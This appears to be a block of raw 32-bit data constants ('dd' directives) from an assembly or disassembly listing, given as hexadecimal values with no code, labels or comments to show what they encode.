		dd 1446A564h, 0F3139CECh, 93AC2177h, 0CDB90085h, 397518FEh
		dd 87ED80F5h, 7207AC98h, 37E31E8Eh, 0B4B974F0h,	188FC67h
		dd 3A7918BBh, 596E4438h, 9770418Ch, 9DA50785h, 0E41ED053h
		dd 0C6B8BE00h, 0D3B39BF3h, 6A204020h, 6DB42F8Eh, 0E35A48C1h
		dd 2083841Bh, 70EFDFF1h, 0EC8C7850h, 0DB51BA62h, 40E0CAB3h
		dd 24222920h, 4064B7D0h, 6B423762h, 96FC714Dh, 5B59B600h
		dd 1C70D8Fh, 0BB1BF4A4h, 60784C9Bh, 6E205350h, 0DC987Ah
		dd 22A0C6C0h, 0A3D76AEFh, 0F7DC0412h, 2848E453h, 6B2F805Ah
		dd 31518A3h, 4085D800h,	86847BCBh, 0A5870E4h, 0ACFFE3F6h
		dd 789828B4h, 11776BF7h, 60087C02h, 2FD1A107h, 84427078h
		dd 0F0FC8573h, 38817090h, 3474FBD0h, 0F8466272h, 4404C1Dh
		dd 4503A11Eh, 24076E74h, 0BE400062h, 389E2041h,	38C19498h
		dd 0BC17E3F5h, 8E10C862h, 0EB167C4Ah, 4859A433h, 74013838h
		dd 5D97017Bh, 5D1D451h,	1AF2C4h, 0E081E866h, 59413BAAh
		dd 0C22D9000h, 0F80E1D01h, 964F30FBh, 932EE7B8h, 741BCE9h
		dd 29DD5939h, 34817434h, 8C0497D2h, 0D1EE3EB0h,	0DCCA5505h
		dd 8CCE72F4h, 0F3C0B388h, 0B5F70FDh, 57A52427h,	0CE816C90h
		dd 41126300h, 0DB8215Ch, 7F2500F4h, 27EF77ECh, 0A1148FC8h
		dd 24AC4BCDh, 0F1849CC3h, 98995FF3h, 6CA4E402h,	2D6F027Ch
		dd 0CF193BD2h, 74108519h, 0F73E2D77h, 0DA2005ACh, 941C0339h
		dd 2328C1D4h, 2D7001A3h, 18213BD3h, 7877887Eh, 0C54D2D00h
		dd 21E75E44h, 0D0BF2E13h, 5C5F089Ch, 3C54B020h,	7D049EC4h
		dd 5EBC13F7h, 0FAD83C93h, 83004049h, 0E44225D0h, 4A595C20h
		dd 910236E9h, 0FEF3A38h, 0BC4458h, 76EC4D46h, 904355FEh
		dd 0CA36BF09h, 0C06402CFh, 33F50078h, 68D3B44Ch, 69F0200Dh
		dd 5B741888h, 6020DA17h, 0D173F9h, 72FCB766h, 0CCFDBF9Dh
		dd 0D6022700h, 3D480409h, 5C780BAEh, 28A4572Bh,	146084D2h
		dd 0F8460A6h, 7D044BB0h, 0DC284B0Dh, 824C20E4h,	59E51820h
		dd 0E6A7DE1h, 0F7CD4341h, 2D18F020h, 0AEE0669Bh, 1FCE2801h
		dd 9482C5Fh, 0E45C4E9Ch, 0EF6701A8h, 21F12B3Eh,	0ACA0D2CCh
		dd 63CC403Bh, 9254B8A4h, 9340500Ch, 0F7F8A09Ah,	4BA0050Ah
		dd 65CF1B42h, 0DB2C61C0h, 7F8C50BFh, 8400771Dh,	0D6EFCAA4h
		dd 3A4D1F40h, 0F0CC9725h, 67D91030h, 774CDE47h,	0B0B522F4h
		dd 808C742Ch, 1C74477Dh, 719F2E14h, 49D3C788h, 45AB18E2h
		dd 5CFC2C6Ch, 0FB028946h, 7B29D24h, 0F63F4960h,	0F404D804h
		dd 98C8B15Fh, 6D923076h, 0CA3D9159h, 1EF80903h,	0FEF06EA9h
		dd 21646508h, 39C0EFBAh, 0E67DA103h, 0FF580242h, 85DC4784h
		dd 9E5190A0h, 4C02F1BAh, 0BED56956h, 0B3464F8h,	0D4BC2FF6h
		dd 16718011h, 2774688h,	0F80CCA3Ch, 10663126h, 7CA44BBh
		dd 0BDD1B4B0h, 0D2720A3h, 68A5D69Bh, 81606B64h,	0BEB0837Bh
		dd 0C427EC26h, 0F8E034A4h, 0B2C06807h, 7FE416E4h, 379442BAh
		dd 0D45078F0h, 0B9874C10h, 911CF440h, 1EEF0F04h, 4404B869h
		dd 0FE234CACh, 5A4FC6Eh, 0D8078D9Ah, 67240463h,	4C948AB6h
		dd 0A3831A74h, 9480B118h, 0C0275830h, 79D35459h, 894E5B2Dh
		dd 33A1CC22h, 44B2DD0h,	918CAF21h, 9A4D0EB0h, 0D155212Dh
		dd 9920D073h, 0EFB80EA0h, 4092F459h, 36434230h,	0DC30DFF5h
		dd 0F76C885Eh, 5D8C2C33h, 49744264h, 525C9702h,	4340024h
		dd 1601F715h, 500005D0h, 0F44F1B08h, 0B48C3F3h,	0A0EF59E4h
		dd 69C9ED8Eh, 94BBE010h, 0A840E183h, 0F0EF20DAh, 0AF0648CBh
		dd 78F1BE4Eh, 39621869h, 0F6DD18Bh, 0BAFC98A0h,	0E3A4E0A0h
		dd 997EF20h, 0F3BEE2ECh, 0FFF85010h, 0BD44059h,	20522C0Dh
		dd 8AD71E0h, 338CBACDh,	83316197h, 0C495FB81h, 3004E005h
		dd 47C2742Eh, 97FA1A80h, 288660DCh, 0BA9A2908h,	8821D82Eh
		dd 0A9A86351h, 582F0914h, 0EC9A0B12h, 7288A49Bh, 0BE18A3C2h
		dd 0F248CF51h, 367A4479h, 12044A44h, 9296B7E4h,	204B2B40h
		dd 8303F810h, 53765813h
		dd 23983AF4h, 1A7E008Bh, 3445F506h, 0E060E426h,	6F09A0ACh
		dd 0DC2CE88Bh, 0EBD58049h, 4BBCB2Ch, 0A7438C82h, 88508492h
		dd 0CCD9BE44h, 104E0714h, 6F7D8001h, 0CC253C04h, 3611A00Ah
		dd 2B840FB4h, 7E2CD4DFh, 0E2988740h, 0EBDB8895h, 0F0AB1613h
		dd 222CB314h, 0BDDA3086h, 8AAC3649h, 0F9111200h, 74D316DFh
		dd 4FD02AFh, 7673683Fh,	0B9AB6CC0h, 16E4880h, 94E5619Ah
		dd 0D241FBDCh, 44077C7Bh, 8050A817h, 204892Fh, 37980EA0h
		dd 0D4D0CE18h, 93E3BD09h, 0A43C48C2h, 2CED8080h, 1B0170F5h
		dd 0F6D88D64h, 6DF05881h, 80808715h, 84EADB0Ah,	44490E13h
		dd 0F288488Fh, 0F2F242FEh, 3F88C072h, 0A6E058Dh, 0B068E77Eh
		dd 7849E454h, 38920120h, 0FAE129DCh, 260E5730h,	1160439Ch
		dd 2E0980AAh, 0B607043Eh, 0A146582Ch, 0CA792D02h, 0E8E7E3F5h
		dd 0CD39E4h, 19F2F10Ah,	0C8DF7F9Eh, 7309309Ch, 4037000Fh
		dd 24238BBFh, 805CDBD0h, 6C57BEF9h, 314BED59h, 6988704Ch
		dd 3D2E0A13h, 8FC26CCh,	721695B7h, 0ABAE6C04h, 8402A109h
		dd 9A00480Eh, 9A780471h, 900A7E44h, 0D8081455h,	0AE3A9C68h
		dd 4DB56D84h, 4B08E3EAh, 28F53C70h, 622CA630h, 0A5E378C6h
		dd 2249A21Bh, 872DFEDh,	83FE8D25h, 2447D6ACh, 94D89520h
		dd 0E309285Fh, 0A0256A37h, 4744C17Dh, 0C921005Dh, 0BA4905Ah
		dd 2C61D79Eh, 0EC84A049h, 50B1913Bh, 0CE0A41Fh,	0A371D495h
		dd 4248D128h, 856B10D4h, 0EC378005h, 0EA209377h, 0EDA2B9EBh
		dd 0D1BE97C1h, 2A1C7382h, 54969CB4h, 0D058DF70h, 2F108421h
		dd 39D104A6h, 0A8903C08h, 0C049580Fh, 900C54B1h, 9890A120h
		dd 0A2B6B722h, 0B4A0D22Fh, 61465E34h, 4E371400h, 47DC42FEh
		dd 4804E9D2h, 0A40282A1h, 80688343h, 91C2B158h,	5154309Bh
		dd 4CEC1158h, 79941678h, 95A3ACD1h, 0F2F0E204h,	76D2308Ah
		dd 609DBFA1h, 744154B0h, 847C1020h, 9A458898h, 9214C420h
		dd 0F8948094h, 224542B5h, 639230BDh, 0B7E95D31h, 8FEF850Eh
		dd 0D8426083h, 8733B45h, 605BE449h, 3833F504h, 442A0D0h
		dd 7CFF2D2Ch, 8BC8C88Eh, 0CFA57D80h, 0B973A1DBh, 18B9F164h
		dd 2ACB009h, 0A82523Fh,	2B27B559h, 92372650h, 0A4F7F65Dh
		dd 0DC50C7A4h, 0D0908C8Fh, 591B1C98h, 0C021A0FAh, 4933EE03h
		dd 0A20F8804h, 0DF247818h, 67B08CD0h, 0F505727Eh, 71F9EB30h
		dd 73F4CC90h, 21FF88B1h, 148E4440h, 0B04AA51Eh,	8060332Ch
		dd 9AB62671h, 20A7EA9Dh, 20213524h, 71159802h, 5584C44h
		dd 0F76FE1D2h, 0C0B8B2BCh, 8BE1AAB4h, 12600F6h,	5E543AC7h
		dd 62449837h, 635300FAh, 0D1514A97h, 21053A9Eh,	74418F47h
		dd 2FF52080h, 65F9C148h, 25AD70A9h, 0BC9C2C9Ch,	0A70F8C88h
		dd 0C705305Ah, 0F9638F3Bh, 0AD2117B9h, 0E3E0CC0Ah, 0A42BEE2Fh
		dd 0C62ABD0h, 0FF04CD60h, 47587094h, 8D2D0EA4h,	0C7E04DBAh
		dd 9028F47Bh, 0F05A3208h, 1C4AAFh, 0BF8BEE2Ah, 9092D7FBh
		dd 0C421434Fh, 0F5017450h, 1440E621h, 0C78A7FECh, 618744ACh
		dd 0F442F54Eh, 62E468FBh, 0A490B639h, 8F530928h, 88C2DC6Bh
		dd 0A4FC8088h, 84467408h, 93C20803h, 0BBE20BF8h, 0D0A03472h
		dd 8A2BD1Ch, 6379E4D9h,	0BA585218h, 734409B4h, 0CDCCA2ACh
		dd 46F85AABh, 5649317Ah, 0D42C3EF7h, 0AE3162DFh, 56202071h
		dd 0F880CA80h, 54A0AF52h, 0D600427Bh, 0F03643A3h, 4C184ED0h
		dd 0B4107070h, 0C810687Fh, 4BB804DEh, 836F6965h, 41DE976Ch
		dd 6C63A300h, 0AB7E8B34h, 0D6710BE7h, 0B43AC05Ah, 109A1CC1h
		dd 4C4C40BBh, 0C088F07Bh, 98013883h, 58591B8Fh,	9A0031B3h
		dd 5A88E409h, 1A96EA5h,	0B2CC7AF0h, 60F780D1h, 494143D8h
		dd 407B7460h, 179572ABh, 80B59154h, 0D9973526h,	4438B4F4h
		dd 0B9EA80A7h, 723EC5A6h, 0CECBBD42h, 0A6084C48h, 7ED70C68h
		dd 1C440419h, 0E86BE8D4h, 30F30558h, 85B308AEh,	23283BACh
		dd 54390064h, 6B1EDB82h, 0A01108B1h, 4C2DA780h,	0EB8CB704h
		dd 2D9FD117h, 0F827ED49h, 782C3094h, 3B42AC7Ah,	0CE540096h
		dd 0A23E7343h, 0EFB054D8h, 632F291Dh, 389D8C02h, 96745060h
		dd 55C64004h, 0D5007CDEh, 0A8295DD3h, 9E7FEAFh,	983BA68Eh
		dd 0E15B4CC8h, 0A0814001h, 0FBAB39B7h, 7B224038h, 0EEC70800h
		dd 0BD58AC48h, 0FFEB12F5h, 227CCE5Dh, 440408A9h, 0EB4297F7h
		dd 290D0081h, 0B160DBC1h, 0AD476729h, 0EABE2528h, 2F76B4A3h
		dd 0D00A5E82h, 3A60808h, 78DCDFF6h, 847D182Eh, 0E674674h
		dd 206CBD70h, 0DFF78EDDh, 506B6E24h, 709844E9h,	6A1594E5h
		dd 58C01FEBh, 9BF40808h, 0CC090393h, 4398CB9Fh,	61082B08h
		dd 496A6037h, 0B2640C45h, 9365D460h, 0D11EAE07h, 9534AACh
		dd 14B9026Eh, 0F891F3F6h, 0DB4C0846h, 93C780C0h, 2E592420h
		dd 7648D62Fh, 0F401B546h, 7895AA46h, 9F4E70D4h,	58908892h
		dd 69808CE2h, 8410BC0Bh, 0C8F8BE73h, 0DD2D6294h, 188084F6h
		dd 8C24B494h, 435C5401h, 0D422B57Fh, 58850422h,	0EF80B1CEh
		dd 42A38193h, 0A75B4CE2h, 1058E00Bh, 0F455994h,	0AE165D0Dh
		dd 0D3C7DA60h, 4304A2FBh, 0B15FE48Eh, 0F0C0B4F2h, 0FDF284E0h
		dd 88D06C4Bh, 0D0F112F6h, 6D0CC421h, 0D5117692h, 8EA76200h
		dd 100FCC18h, 77540E5Ch, 0C39CD30Ch, 6C0B8C35h,	3CE76EFAh
		dd 7F618544h, 0C682D60Ah, 0F4F8682Fh, 0EF2C421Ah, 4D5862F1h
		dd 0B335E0ACh, 0C2663E6Ch, 0A99D940h, 0DCBE4631h, 0E5206E88h
		dd 73AF1FDAh, 0A4200090h, 0D0390995h, 0C5A9707h, 4CBE5B7Dh
		dd 368000F4h, 0DCB5B7A6h, 0B14E76F3h, 4070E488h, 0F40C8E73h
		dd 0F945A0C1h, 1D4B37Bh, 0F7A8CA48h, 88651846h,	0CA0070AFh
		dd 18C6D194h, 0EC809F46h, 0DF76090Eh, 805066E0h, 987CF050h
		dd 5DF83718h, 0A22C0A18h, 9B8613Ch, 72076CDDh, 64741004h
		dd 4B4A0882h, 79C8C149h, 32461910h, 870CEA3Eh, 592069D5h
		dd 90609FC5h, 12A72D74h, 8ACE813Bh, 7C630040h, 0BB9C182Dh
		dd 60F407D8h, 0B50BD7F0h, 813C04ACh, 0F7590441h, 5FDBACB4h
		dd 680C40BAh, 0C69350Bh, 0C70F2700h, 706B8958h,	86FD3813h
		dd 9D8F6E83h, 50806AD0h, 86E103E8h, 0C3582002h,	0EA445F2Eh
		dd 163123h, 0C3504021h,	0FCB18A9Ch, 0A1BD8B03h,	0B306452Bh
		dd 514E23C0h, 44C3590Eh, 41384C89h, 0DFC35100h,	160A2E8h
		dd 0AA1209Dh, 67D2811Fh, 61759683h, 30682083h, 0BD09E5E1h
		dd 0C042212h, 53501974h, 0D830B884h, 85895E07h,	241260FDh
		dd 0B56C9D8Dh, 0FF0A4776h, 22585BD3h, 201017C4h, 18B25BF1h
		dd 61BD1033h, 5E81925h,	1FE185D5h, 3B2959DCh, 206EEDB5h
		dd 2D58B9E0h, 0A6C36F13h, 863D8D89h, 3F68381Ch,	517D0F38h
		dd 0A40EA2CEh, 0A0CF1B88h, 7589EE7Dh, 2639075Eh, 31D18B66h
		dd 805914B9h, 0D7B70F54h, 67A195FFh, 55B27C0Ch,	23DD3B85h
		dd 0B9830114h, 20DBDC0Fh, 0F7E28519h, 4E2391A3h, 0C35F0E57h
		dd 627C8944h, 57472015h, 196072C3h, 0FF68CFB4h,	0C089A301h
		dd 0A19A96BFh, 0F40949D6h, 3DD81984h, 67858DE4h, 73317DE2h
		dd 2A1A1581h, 2270EE9h,	0C18C5C6h, 8B88B82Eh, 765061F9h
		dd 44B5FFCEh, 0C8950161h, 42FAE280h, 6DA47D98h,	0C35E6156h
		dd 8C7489C8h, 461D44h, 8CA3C356h, 8F4CBEE5h, 0BA17690Ah
		dd 443998B7h, 311060E8h, 0E519CA6Fh, 88B47900h,	5082E01Ah
		dd 0A5B000F5h, 315638F2h, 0BA92AD85h, 0C75F591Eh, 7011051Bh
		dd 0D1EB9145h, 42181Ah
		dd 0A2DBD4E5h, 0BF0F8C7Dh, 0A1BCF951h, 0A03FBCA7h, 7961A001h
		dd 20A9A424h, 95F8FA67h, 1809C933h, 9282BC50h, 16A021Dh
		dd 0FA6E4741h, 242CB688h, 0BA03E23h, 0C81B681h,	5B398C53h
		dd 5C8913C3h, 432738h, 4F51C353h, 9995030Fh, 36840392h
		dd 0D5203290h, 0AE93021h, 75CA233Bh, 0C5545101h, 53D47DBAh
		dd 13118A84h, 0C3554845h, 8991C35Dh, 45010E6Ch,	0B4CBC355h
		dd 62662362h, 0C03FDE8h, 8CAAE50Ch, 2C456E96h, 4CCFC202h
		dd 431ED06Fh, 6EE95B54h, 21B21129h, 0F0F75423h,	8300A079h
		dd 0B5D14238h, 1265F51Fh, 60D67D9Ch, 9D8B6081h,	4C14FD28h
		dd 48170520h, 7222261h,	794DFB01h, 240E290Ch, 0D8DA0C50h
		dd 5530FD1h, 0BDE28275h, 4F4B0D11h, 0F5AA988Ch,	1A71A593h
		dd 6C3B8218h, 0F93C0167h, 0E5958B2Eh, 0A8596535h, 0BEF06B36h
		dd 82E47A0Fh, 0BAB148FBh, 21F43824h, 6D9D86CEh,	79D0C8E3h
		dd 0A1B5BF80h, 128B4F19h, 2823A98Dh, 2A93F93Eh,	0E9FE8B01h
		dd 0E0EFF612h, 0FDC9BD31h, 2D21A40h, 0D9829148h, 30F51814h
		dd 84130BE9h, 0A0008F2Dh, 0BB4C8AF9h, 0A0D6E0AEh, 0A001219Dh
		dd 0B22A1163h, 0FE10F164h, 0E605E17Fh, 890FA2C0h, 8D004112h
		dd 858B5FCBh, 74F492B1h, 0C5BD3360h, 39EA290Fh,	0E9618CC8h
		dd 1A84854h, 1C4DA1F8h,	87B51119h, 20880F16h, 0DA81669Fh
		dd 8504DEB4h, 11D0A84Bh, 8911F195h, 0ED2330D0h,	0AB6AAA24h
		dd 958CF5A9h, 3F80D71Dh, 0F3BCAEF1h, 2F21B50Dh,	0D3BE9416h
		dd 33B2942Eh, 0A9B956D2h, 0A035DB8Ah, 4E001E33h, 0A08D7853h
		dd 7C012357h, 0D9B0198Fh, 3949DC76h, 0A4158A95h, 5B58F24Ch
		dd 0E48FD9FCh, 0A6402FD9h, 643241CDh, 946F1E1h,	5A0E5223h
		dd 548944C3h, 42201762h, 0C0BC352h, 5049C6EDh, 0E60195Eh
		dd 8160D851h, 0ADE702EAh, 8F0F1D79h, 0EF802D80h, 5365618Eh
		dd 9C227DA6h, 0A2364303h, 611FC343h, 26B2006h, 35B0C48h
		dd 0A3FCD981h, 0D0DB7AD3h, 18F9F813h, 0EC11D824h, 951E44F5h
		dd 4D22C52Ch, 0FE1605A8h, 590D606Ah, 30B519ADh,	86639E8Dh
		dd 0B9BABA33h, 148320Eh, 44326CC1h, 5D2D8008h, 18E068D5h
		dd 23F53EC0h, 0C93179BDh, 17A55324h, 0E9E54915h, 0D95B9110h
		dd 645C23FAh, 41F9386Ah, 7352C88h, 0A9D18100h, 9B43D6F7h
		dd 0F2023E26h, 8BBF994h, 743DFA4Ah, 0B9299D00h,	0A5D53B6Ch
		dd 7122A99Ch, 28551816h, 61C6419Dh, 408BC911h, 0EF707118h
		dd 8D0160CCh, 9F63E121h, 13A41DC8h, 3DC1D003h, 7B137F8Ch
		dd 1F016083h, 11E9CF8Bh, 98891DC9h, 0A9963D89h,	0E4164D19h
		dd 5AF59F13h, 91C83B1Dh, 81D08005h, 27B4F4F1h, 0F2285462h
		dd 1D1D0BEFh, 6F891411h, 94C18481h, 244E297Dh, 6228D0D0h
		dd 0FA209D34h, 0C6C4308Fh, 0C6107E0Bh, 9B9B80Bh, 6B41965Fh
		dd 1511041Dh, 60148580h, 9402D9BEh, 8D0B318Bh, 61CCA675h
		dd 40EDAACCh, 800D4D5Dh, 0FF7CF883h, 4D248537h,	0F9F00489h
		dd 6B11F81h, 0CF69E918h, 6555820Bh, 28690F09h, 7710518h
		dd 2012DA1h, 8E82319h, 0DD070B00h, 5C375724h, 38C5624Ch
		dd 59010265h, 3841CCE9h, 0F361F21Fh, 1DBCB328h,	0C22C008Ch
		dd 5F37D00Bh, 0E70969FFh, 1D38B2Ah, 8C3ECF12h, 0F0CC8B46h
		dd 580D9323h, 0C58F07DDh, 863D8EDDh, 0A40666CBh, 326D2065h
		dd 261E973h, 1D0DB545h,	0C26F8511h, 3CE15E68h, 68168E19h
		dd 6A346768h, 0E283A060h, 0CD70FF2Eh, 0AF7D6DDh, 6EE8653Ch
		dd 243111E8h, 304104C1h, 3172FE77h, 40402138h, 5563C7B8h
		dd 0F1296027h, 0AB981389h, 0F6AC570Fh, 9AF2DF00h, 9675B1F1h
		dd 0EAEB0213h, 61C65A11h, 48E55392h, 0D76014E4h, 6A31BF66h
		dd 0BE3A0886h, 0B69234D9h, 5023C231h, 3312F062h, 23B1EC41h
		dd 8998755Eh, 4016222h,	0C3F6DB8Ch, 0FC6A8204h,	2965C627h
		dd 68569E90h, 0A8B81B52h, 9EA5E9Ch, 39FB9790h, 6A0B7999h
		dd 105F0404h, 8164DA1Dh, 0A1DAC569h, 47032D95h,	0BAAC9B68h
		dd 76923CECh, 31EF052h,	2661684Fh, 0E104DC2Fh, 3C43391Dh
		dd 537D06D6h, 1856286Ah, 75C08514h, 6841C075h, 56876498h
		dd 0D0992ADBh, 4C070BF3h, 25E7A468h, 8B206880h,	0FCDA9D22h
		dd 7A045D5Bh, 0E154DF2Ah, 0F86E1559h, 438F9D58h, 907940Ch
		dd 0CE304585h, 430283F9h, 0B5292E47h, 8511288Bh, 68023967h
		dd 92A5F797h, 1C2BE502h, 0C0267CDh, 53752858h, 0B46D6032h
		dd 914E1AA1h, 6F26960Ch, 89BBB934h, 0B01D34B2h,	1B801C11h
		dd 79F0885Ah, 269E893Fh, 3D0A035Dh, 520C7C0Dh, 0AF58036h
		dd 35FF6450h, 9A174B68h, 0C4801C11h, 8A800FA4h,	0A81DBD0Eh
		dd 0D8F2C118h, 0E0EC5260h, 615F050Ch, 258964h, 0DFE98135h
		dd 164C88D8h, 71517C1h,	293D7632h, 0E7BE8407h, 8988B4DEh
		dd 8EF700Ch, 0DAA3D082h, 6A690E58h, 0E989131Eh,	1A9D29F9h
		dd 18F39D80h, 0B856548h, 292B988h, 0E94216D7h, 0F8010146h
		dd 0A628DB33h, 40C03B75h, 0B073F01h, 7F058F64h,	0E9CB4EE8h
		dd 525F9E12h, 78A0BE9h,	0C490E8EAh, 8C39E6A5h, 0FFF600FEh
		dd 0C7D8D066h, 150F075Fh, 52C5ACAFh, 7C87028Eh,	0FB83E261h
		dd 338400E0h, 467C81B4h, 34E1001Dh, 0B734361h, 3DC2B763h
		dd 91F1FF85h, 38C0E906h, 0BD68F83h, 0FF30644Fh,	0C08BB552h
		dd 33C70CE7h, 0FF21A481h, 3283033Dh, 810415B8h,	5C8BC399h
		dd 0E855308Eh, 815D0411h, 409174EDh, 1B45838Bh,	370E4C04h
		dd 9A0C890Ah, 88684F5Dh, 0BA7AE1A3h, 2CDA7F19h,	26416A34h
		dd 0D7CD50CEh, 0AB466927h, 48D48A18h, 15492DDAh, 0D104D348h
		dd 600B1359h, 64277CC4h, 73E7010h, 0D4E9B866h, 83BB505Fh
		dd 0B95A6177h, 480B65Fh, 54855D7h, 0F7810064h, 0D465BB0Dh
		dd 0BA0E8685h, 1F34B640h, 5F190B64h, 0FBDCED0Ch, 4D580468h
		dd 0C10A7556h, 220E182h, 71392A01h, 0E779D20Fh,	149BB905h
		dd 12B502C1h, 8D0FC38Ah, 0A88A6782h, 15950382h,	1C3C5109h
		dd 658DC951h, 745AFB41h, 8A20E33Eh, 21D522E9h, 3DF9C0B1h
		dd 2C4110F2h, 0F4D34284h, 46742038h, 9E818B2h, 0FC8ACDDh
		dd 6D49B13Dh, 0B9F2B4A0h, 3B012015h, 0CF8B5A08h, 81728D31h
		dd 3AE9A662h, 40A7B4A8h, 35382E31h, 1B7C2E3h, 63784500h
		dd 7747065h, 206E6F69h,	61663749h, 45616D72h, 6CE7070Ch
		dd 33739765h, 87C202Ch,	743E6475h, 36CEF968h, 77CF3C6Ch
		dd 0CF67CF69h, 0ED644F63h, 0CFF72873h, 0DB4061DCh, 0F6C75264h
		dd 6D742A2Eh, 68542019h, 79D96B16h, 0AFC75EDh, 0E904DF0Dh
		dd 70288C01h, 62C07346h, 4C525443h, 66FFEB2Bh, 1E699ED1h
		dd 0A06497CDh, 70A18FB1h, 6C085179h, 0FC62E569h, 64287261h
		dd 42803629h, 73FA6556h, 3DFE99A4h, 94F325FEh, 587431Eh
		dd 4E496B63h, 0E1640F48h, 1C54554Fh, 6F723F50h,	0F0B1DD1h
		dd 0C80F3B68h, 74690DE6h, 420F0E3Dh, 5054DE1Eh,	1E18688Eh
		dd 0BD12E6EAh, 7C32C713h, 9CA712Dh, 7406B08Bh, 0F5220E50h
		dd 25686BAFh, 9B95CF01h, 0C124F2B0h, 190AA0C4h,	532C07CBh
		dd 0A209164Ch, 5945C32Bh, 150A4565h, 5125451Eh,	1B230ECFh
		dd 230EDB59h, 0EE35968h, 0DF598623h, 596F230Eh,	77230ED3h
		dd 210ED759h, 0C30527Eh, 0E9802BD1h, 420B1A2h, 8C1949BDh
		dd 0DA9953Ah, 8510C225h, 48F08A11h, 25811240h, 9F8C2h
		dd 8D2D1B64h, 52769095h, 4028C034h, 893BD4C3h, 68FB49FEh
		dd 91A19D6Ch, 9D8B1555h
		dd 4CC31613h, 65348BC5h, 11501162h, 54210FCFh, 58F2DB10h
		dd 210FDF11h, 52D3115Ch, 0D559FDCh, 2868A2AFh, 325A29CDh
		dd 0D319D70Ch, 4386DF0Ch, 91CF21DBh, 0C50A50CBh, 0FD141C93h
		dd 0E258207h, 0C060A45h, 0C4D53055h, 406A2419h,	194BE724h
		dd 85BB774Bh, 2F0BF601h, 0DFAB90C1h, 59430567h,	0E911A5h
		dd 0B27B070Bh, 33282C16h, 445945Bh, 0FF23A60h, 7CC38158h
		dd 0E192D0D7h, 9AA462FFh, 7DD615C1h, 34F45FCCh,	0B70F0F1Fh
		dd 0D0835AC9h, 7AEB501Dh, 0B3B5F2B0h, 23E433Eh,	79633DEh
		dd 0ED42405Dh, 9727E4D5h, 9D80CAFEh, 0ABC89AB3h, 0FEC501A0h
		dd 230F5D8Bh, 0CA32D0F4h, 85D8EE0Ch, 17C03E9Dh,	0A7620h
		dd 6A8A9148h, 8918595Eh, 0A9823B14h, 28CF3094h,	5B0DC6A8h
		dd 4EF8303h, 0D0ACD480h, 0E7A558FFh, 2622E368h,	20E85727h
		dd 49FC8422h, 0D0C607C2h, 802B52F8h, 5AB12EA6h,	0E9505971h
		dd 9100CE1Bh, 1AC393E0h, 3D0AF09h, 7B0636Bh, 64726EE9h
		dd 0A9779B00h, 0C26C0FC0h, 0B60E00CBh, 0FC63F092h, 320005BEh
		dd 64EAC02h, 661F27h, 511A3E8Bh, 0F3E1FD36h, 5CA17D00h
		dd 0A2BDA5B5h, 0CEE606EDh, 301323F6h, 0BED4B800h, 3D69F3DFh
		dd 2DDE05DAh, 80556ABCh, 0E7EDA068h, 1BB46E01h,	0EC1A7563h
		dd 7FDF208Eh, 0BBACEA42h, 1B23209Ch, 0BA873B08h, 4CE38BAFh
		dd 0D205C630h, 0FE69181Ch, 961B10Ch, 2621C0D8h,	0DEE31CEAh
		dd 766B1800h, 0F04568AFh, 0DC42001Dh, 0FFBAE6F3h, 0D401A314h
		dd 0BEC20466h, 8982C5Eh, 1CA221F6h, 4D74A300h, 0B0173701h
		dd 0A08E10F7h, 257D0EDFh, 0C66F8Bh, 0B04A9035h,	81D56088h
		dd 693645E2h, 21F12400h, 0E4D1F595h, 0D7F0001Dh, 39A666B6h
		dd 8CA06235h, 0E289EAF2h, 619ED3E5h, 8E1C0AC0h,	9A00BC90h
		dd 2105AEBAh, 0E20ECC4Bh, 8CCFA339h, 0FD2193h, 7E35AEB2h
		dd 73D7CAC2h, 5F89D108h, 46A020B8h, 1CD507B2h, 0C4586915h
		dd 0ED2D40D9h, 198A11Ch, 32B1D78Ch, 40E8C6E9h, 5DA9DF8Ch
		dd 3325A500h, 195181C2h, 0B05B536Ah, 2530F0A2h,	7CA80338h
		dd 0E2ABD0DCh, 3B6CE8E0h, 18AD5CA9h, 161C08D0h,	0C5C4EE69h
		dd 1CE82040h, 0F400482Bh, 0E04B1633h, 7D0C8A38h, 8179C041h
		dd 78E95405h, 95766200h, 20327F9Ah, 0B6490096h,	9167D886h
		dd 2D01CE39h, 33611555h, 704BBC2Eh, 55C0FB88h, 0E4604Ah
		dd 0F8BFBC01h, 0D7B241ABh, 806CC23Ah, 0A219E997h, 154D20B7h
		dd 0E8AA895Fh, 907E5200h, 0A655E8A3h, 4AD64C00h, 6FF6D7E0h
		dd 0BB0218FBh, 70DF6991h, 0E1EAA800h, 66DE0C2Ah, 0A019D1CDh
		dd 0DB01B023h, 3669131Ch, 2F88DC18h, 0F91C00D3h, 0B64116CAh
		dd 1800B487h, 85F5EB3Eh, 73AAA266h, 0B8950010h,	270CF0C4h
		dd 0E60C06CFh, 79EFC7E9h, 7F1900D3h, 9E2A68B6h,	226670E3h
		dd 21DB08h, 0D7F1130h, 0D7252699h, 0BC6161FAh, 0F06BABF9h
		dd 570F2986h, 4EF119BDh, 0C0F288C0h, 661EB9B1h,	18BD7800h
		dd 0E2E37E63h, 0AC916Ah, 318C16DCh, 62FA1FA7h, 0C0DEB424h
		dd 0EC8D02F6h, 486B9AD1h, 0C6DF480h, 5509F7BEh,	701F375h
		dd 0C5CEE8F4h, 6C48DE71h, 0A312C01Fh, 744666DAh, 1AA0887Fh
		dd 0C60BA30Ah, 608094DCh, 8C7015FFh, 8E67002Bh,	20509395h
		dd 0C40723AAh, 3359C65Eh, 0AB993F8Fh, 0E2C870B1h, 19CB00C7h
		dd 30531C5Ah, 0F9090B12h, 20D18873h, 48C8B008h,	4F0C0180h
		dd 41CD076Dh, 78D0C0B8h, 0D58FDE1Dh, 0E718B642h, 11649742h
		dd 80678FF2h, 0E86F6B0Ah, 79EC6264h, 0FC9025D7h, 1A1D66B0h
		dd 630CEF9Eh, 3AB1972h,	0B4E13011h, 0AE26926h, 0B85C3F21h
		dd 7F18C50h, 0AF1F008Fh, 0E32C7BD7h, 29CEA460h,	2B615841h
		dd 0B3B70073h, 0B4666FC6h, 6C9010F6h, 0A6672402h, 4C21DFC7h
		dd 0AEB51E04h, 0CFB38818h, 0F843AC64h, 81A8AEADh, 61090A2Bh
		dd 8239337Ch, 2FC07EF4h, 1A3FE940h, 0B4B2E2B5h,	0AF917201h
		dd 177A6B1Eh, 1C0E6EFh,	8BF96D68h, 0F425EC2Ch, 0E1FCBD9Fh
		dd 0D693F200h, 74A56EB7h, 0BA20C0E3h, 0EF16DB53h, 7C8820A7h
		dd 41AC0B0h, 0F862B5E8h, 0A0EAC778h, 11F6909Ch,	9E761428h
